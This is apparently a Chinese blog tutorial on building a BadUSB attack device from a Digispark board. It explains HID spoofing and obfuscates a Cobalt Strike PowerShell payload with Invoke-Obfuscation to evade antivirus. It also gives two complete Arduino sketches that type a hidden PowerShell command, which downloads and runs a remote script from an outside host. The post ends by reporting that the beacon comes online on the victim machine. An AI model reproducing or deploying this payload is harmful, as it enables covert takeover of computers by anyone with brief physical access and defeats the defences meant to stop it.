• badusb


    ​badusb介绍   

    BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。HID(Human InterfaceDevice)设备通常指的就是键盘鼠标等与人交互的设备,用户插入BadUSB,就会自动执行预置在固件中的恶意代码。

    BadUsb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

    恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法防御BadUSB的攻击。

    badusb原理

    主机是通过设备固件中的某些描述符来判断USB哪种设备的。这就意味着我们可以利用此漏洞将一些特殊的USB设备伪装成为其他任何设备,例如输入设备、网卡等等。

    当插入USB设备后,主机驱动会向设备请求各种描述符来识别设备,为了把一个设备识别成HID类别,设备固件在定义描述符的时候必须遵守HID规约。

    构成:

    • 普通U盘一般都是由闪存(FLASH)和主控(MCU)构成,主控主要负责控制数据读写任务分配,闪存的话一般有一部分用来存放u盘固件(无法直接读取),其它部分用来进行读写和存储。
    • BadUsb就是利用对u盘固件进行重新编程,将虚拟键盘输入转为协议约定的字节指令集成进固件中,让主机将usb识别为一块键盘,并执行事先编写好的虚拟键盘输入。

    利用

    CS马

    使用Invoke-Obfuscation编码,简单做一下免杀:

    进入Invoke-Obfuscation目录后,在PowerShell中执行命令

    set scriptpath C:\Users\86153\Desktop\payload.ps1

    encoding

    6

    out C:\Users\86153\Desktop\payload1.ps1

    badusb环境

    • 安装Arduino IDE

    https://downloads.arduino.cc/arduino-1.8.16-windows.zip

    下载完成后解压,打开exe

    点击文件->首选项

    在附加开发版管理器网址处添加 http://digistump.com/package_digistump_index.json

    在工具->开发板:"Arduino Leonardo"->开发板管理器

    找到 digistump avr boards进行下载

    之后再开发板处选择digispark(default-16.5mhz)

    • 安装驱动使用digistump drivers

    链接:http://pan.baidu.com/s/1i4K10dn 密码:ilaf

    如果是 64 位操作系统请选择 DPinst64.exe,否则选择 DPinst.exe.

    至此环境配置结束

    badusb制作

    将代码贴至Arduino点击上传

    #include "DigiKeyboard.h"
    #define KEY_ESC     41
    #define KEY_BACKSPACE 42
    #define KEY_TAB     43
    #define KEY_PRT_SCR 70
    #define KEY_DELETE  76
    
    
    void setup() {
    DigiKeyboard.delay(5000);
    DigiKeyboard.sendKeyStroke(0);
    DigiKeyboard.delay(3000);
    DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
    DigiKeyboard.delay(1000);
    DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.111.252/payload.ps1');"));
    DigiKeyboard.delay(500);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    
    }
    
    void loop() {
    
    }

    或者将打开powershell和执行命令分开(可以绕过一些拦截)

    # include "DigiKeyboard.h"
    # define KEY_ESC     41
    # define KEY_BACKSPACE 42
    # define KEY_TAB     43
    # define KEY_PRT_SCR 70
    # define KEY_DELETE  76
    
    void setup() {
    
    DigiKeyboard.delay(5000);
    DigiKeyboard.sendKeyStroke(0);
    DigiKeyboard.delay(3000);
    DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
    DigiKeyboard.delay(750);
    DigiKeyboard.print(F("powershell"))
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(750);
    DigiKeyboard.print(F("IEX(New-Object Net.WebClient).DownloadString('http://123.207.101.205:8000/cs.ps1');"));
    DigiKeyboard.delay(500);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    
    }
    void loop() {
    }
    

    出现如下图,插上我们准备的badusb

    直至出现thank you,此时我们的badusb就已经做好了

    测试

    插上badusb后发现我们的cs上线

    参考

    https://www.freebuf.com/articles/system/292358.html

    https://www.cnblogs.com/qianxiao996/p/13574566.html

    https://mp.weixin.qq.com/s/UROx1fJOmMVbmH_-UasFEQ

    永远相信 永远热爱
  • 相关阅读:
    Metastore
    深入解析Docker 架构原理
    python之qrcode模块生成二维码
    python flask socketio uwsgi和nginx supervisor配置方式
    python socketio客户端与服务端连接方式
    升级 elementui 2.15.7 后遇到 eldatepicker 警告问题
    flutter 签名和获取应用签名
    汽车螺丝扭力标准
    测试团队绩效考核指标
    java笔记
  • 原文地址:https://www.cnblogs.com/vege/p/15714157.html
Copyright © 2020-2023  润新知